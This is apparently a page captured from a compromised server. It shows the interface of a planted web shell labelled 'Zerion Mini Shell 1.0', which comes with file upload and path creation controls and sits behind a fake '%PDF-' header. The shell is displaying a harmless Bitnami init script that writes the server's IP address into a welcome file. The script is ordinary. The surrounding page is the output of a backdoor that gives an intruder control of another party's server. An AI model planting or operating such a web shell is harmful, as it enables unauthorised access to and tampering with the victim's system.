%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/bitnami/scripts/init/
Upload File :
Create Path :
Current File : /opt/bitnami/scripts/init/update_welcome_file

#!/bin/sh
#
# Update the application DNS / Public IP configuration
# Copyright 2020 Bitnami.com All Rights Reserved
#

. /opt/bitnami/scripts/init/functions

WELCOME_FILE=`get_stored_data welcome_file_location`

if [ "x$WELCOME_FILE" = "x" ] ; then
  exit 0
fi

if [ "x$1" != "x" ]; then
  IP=$1
else
  IP=`get_server_domain`
fi

# replace IP address
sed "s,@@IP_ADDRESS@@,$IP," \
  </opt/bitnami/var/data/welcome_file_template \
  >$WELCOME_FILE

Zerion Mini Shell 1.0